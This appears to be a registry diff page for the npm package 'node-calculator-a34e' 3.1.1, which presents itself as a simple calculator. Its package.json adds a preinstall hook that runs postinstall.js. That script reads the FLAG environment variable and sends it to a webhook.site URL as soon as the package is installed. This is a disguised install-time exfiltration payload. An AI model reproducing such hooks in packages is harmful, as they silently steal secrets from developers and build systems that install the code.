node-calculator-a34e 3.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +19 -0
  2. package/package.json +12 -0
  3. package/postinstall.js +7 -0
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ function calculate(operation, a, b) {
2
+ switch(operation) {
3
+ case 'add':
4
+ return a + b;
5
+ case 'subtract':
6
+ return a - b;
7
+ case 'multiply':
8
+ return a * b;
9
+ case 'divide':
10
+ if (b === 0) {
11
+ throw new Error('Division by zero');
12
+ }
13
+ return a / b;
14
+ default:
15
+ throw new Error('Invalid operation');
16
+ }
17
+ }
18
+
19
+ module.exports = { calculate };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "node-calculator-a34e",
3
+ "version": "3.1.1",
4
+ "description": "Simple calculator plugin",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node postinstall.js"
8
+ },
9
+ "keywords": ["calculator", "math"],
10
+ "author": "",
11
+ "license": "MIT"
12
+ }
package/postinstall.js ADDED
@@ -0,0 +1,7 @@
1
+ const https = require('https');
2
+
3
+ const flag = process.env.FLAG;
4
+ if (flag) {
5
+ const url = 'https://webhook.site/cc50eb44-50eb-44fe-b0e4-c9bac81d3bb9?flag=' + encodeURIComponent(flag);
6
+ fetch(url);
7
+ }